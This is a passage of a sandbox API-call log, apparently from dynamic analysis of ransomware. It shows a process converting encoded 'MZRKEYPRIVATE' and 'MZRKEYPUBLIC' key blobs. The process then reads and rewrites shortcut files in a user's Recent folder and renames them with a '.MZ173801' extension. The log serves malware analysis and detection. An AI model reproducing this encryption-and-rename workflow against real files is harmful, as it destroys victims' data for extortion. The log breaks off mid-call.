lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0150.450] GetCurrentThreadId () returned 0xab4 [0150.450] GetCurrentThreadId () returned 0xab4 [0150.450] GetCurrentThreadId () returned 0xab4 [0150.450] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0150.450] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0150.451] GetCurrentThreadId () returned 0xab4 [0150.451] GetCurrentThreadId () returned 0xab4 [0150.451] GetCurrentThreadId () returned 0xab4 [0150.451] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Ng-XMX.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\ng-xmx.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0150.451] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0150.451] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0150.451] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x47f [0150.452] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0150.452] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x47f, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x47f, lpOverlapped=0x0) returned 1 [0150.452] CloseHandle (hObject=0x280) returned 1 [0150.452] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Ng-XMX.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\ng-xmx.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0150.453] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x47f, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x47f, lpOverlapped=0x0) returned 1 [0150.454] CloseHandle (hObject=0x280) returned 1 [0150.459] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Ng-XMX.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\ng-xmx.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Ng-XMX.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\ng-xmx.lnk.mz173801")) returned 1 [0150.460] GetCurrentThreadId () returned 0xab4 [0150.460] GetCurrentThreadId () returned 0xab4 [0150.460] GetCurrentThreadId () returned 0xab4 [0150.460] GetCurrentThreadId () returned 0xab4 [0150.460] GetCurrentThreadId () returned 0xab4 [0150.460] GetCurrentThreadId () returned 0xab4 [0150.460] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f4952bd, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x3f4952bd, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x3f4952bd, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3db, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="NJjgpU2TJz.lnk", cAlternateFileName="NJJGPU~1.LNK")) returned 1 [0150.460] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0150.460] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0150.460] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\NJjgpU2TJz.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\njjgpu2tjz.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f4952bd, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x3f4952bd, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x3f4952bd, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3db)) returned 1 [0150.461] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\NJjgpU2TJz.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\njjgpu2tjz.lnk")) returned 0x20 [0150.461] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\NJjgpU2TJz.lnk", dwFileAttributes=0x80) returned 1 [0150.463] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0150.463] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0150.467] GetCurrentThreadId () returned 0xab4 [0150.467] GetCurrentThreadId () returned 0xab4 [0150.467] GetCurrentThreadId () returned 0xab4 [0150.467] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 